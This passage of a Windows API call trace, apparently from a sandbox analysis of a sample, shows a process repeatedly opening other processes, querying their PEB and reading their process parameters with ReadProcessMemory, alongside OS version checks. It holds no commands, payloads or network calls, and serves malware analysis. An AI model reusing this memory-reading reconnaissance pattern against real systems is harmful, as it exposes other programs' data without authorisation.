_vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5756") returned 4 [0346.830] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.830] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.831] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x167c) returned 0xa9c [0346.831] GetLastError () returned 0x0 [0346.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4426d0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.831] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x442258, lpBuffer=0x5ec5a0, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.831] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.832] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ea020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x441c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.832] malloc (_Size=0x96) returned 0xec7200 [0346.832] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4422e6, lpBuffer=0xec7200, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7200*, lpNumberOfBytesRead=0x0) returned 1 [0346.833] free (_Block=0xec7200) [0346.833] CloseHandle (hObject=0xa9c) returned 1 [0346.833] _ui64tow_s (in: _Value=0x1684, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5764") returned 0x0 [0346.834] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5764") returned 4 [0346.834] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.834] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.835] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1684) returned 0xa9c [0346.835] GetLastError () returned 0x0 [0346.835] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.835] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.836] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.836] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a7020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.836] malloc (_Size=0x62) returned 0xeb6070 [0346.836] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4e22b2, lpBuffer=0xeb6070, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0346.837] free (_Block=0xeb6070) [0346.838] CloseHandle (hObject=0xa9c) returned 1 [0346.838] _ui64tow_s (in: _Value=0x169c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5788") returned 0x0 [0346.838] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5788") returned 4 [0346.838] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.838] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.839] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x169c) returned 0xa9c [0346.839] GetLastError () returned 0x0 [0346.839] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.839] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x462258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.840] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.840] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2a9020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.840] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x461c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.841] malloc (_Size=0x74) returned 0xea9020 [0346.841] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4622c4, lpBuffer=0xea9020, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0346.842] free (_Block=0xea9020) [0346.842] CloseHandle (hObject=0xa9c) returned 1 [0346.843] _ui64tow_s (in: _Value=0x16a4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5796") returned 0x0 [0346.843] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5796") returned 4 [0346.843] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.843] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.844] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16a4) returned 0xa9c [0346.844] GetLastError () returned 0x0 [0346.844] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c25e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.844] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2258, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.845] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.845] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.845] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x20e020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.846] malloc (_Size=0x48) returned 0xea84c0 [0346.846] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4c2298, lpBuffer=0xea84c0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea84c0*, lpNumberOfBytesRead=0x0) returned 1 [0346.847] free (_Block=0xea84c0) [0346.847] CloseHandle (hObject=0xa9c) returned 1 [0346.848] _ui64tow_s (in: _Value=0x16c0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5824") returned 0x0 [0346.848] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5824") returned 4 [0346.848] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.848] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.849] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16c0) returned 0xa9c [0346.849] GetLastError () returned 0x0 [0346.849] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.849] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.849] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.849] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.849] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.850] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.850] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.850] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x378020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.850] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.850] malloc (_Size=0x6a) returned 0xea9020 [0346.850] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22ba, lpBuffer=0xea9020, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0346.852] free (_Block=0xea9020) [0346.852] CloseHandle (hObject=0xa9c) returned 1 [0346.852] _ui64tow_s (in: _Value=0x16e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5856") returned 0x0 [0346.852] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5856") returned 4 [0346.853] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.853] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.853] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16e0) returned 0xa9c [0346.853] GetLastError () returned 0x0 [0346.854] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.854] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.854] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.854] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x309020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.855] malloc (_Size=0x84) returned 0xe87550 [0346.855] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822d4, lpBuffer=0xe87550, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87550*, lpNumberOfBytesRead=0x0) returned 1 [0346.855] free (_Block=0xe87550) [0346.856] CloseHandle (hObject=0xa9c) returned 1 [0346.856] _ui64tow_s (in: _Value=0x16fc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5884") returned 0x0 [0346.856] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5884") returned 4 [0346.856] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.856] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.857] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x16fc) returned 0xa9c [0346.857] GetLastError () returned 0x0 [0346.857] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.858] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.858] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x243020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.858] malloc (_Size=0x70) returned 0xea9520 [0346.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d22c0, lpBuffer=0xea9520, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0346.859] free (_Block=0xea9520) [0346.859] CloseHandle (hObject=0xa9c) returned 1 [0346.859] _ui64tow_s (in: _Value=0x1718, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5912") returned 0x0 [0346.859] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5912") returned 4 [0346.860] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.860] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.862] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1718) returned 0xa9c [0346.862] GetLastError () returned 0x0 [0346.862] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.863] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.863] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.863] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.863] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x269020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.863] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.863] malloc (_Size=0x68) returned 0xeb6070 [0346.863] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222b8, lpBuffer=0xeb6070, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6070*, lpNumberOfBytesRead=0x0) returned 1 [0346.864] free (_Block=0xeb6070) [0346.864] CloseHandle (hObject=0xa9c) returned 1 [0346.865] _ui64tow_s (in: _Value=0xc68, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3176") returned 0x0 [0346.865] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | 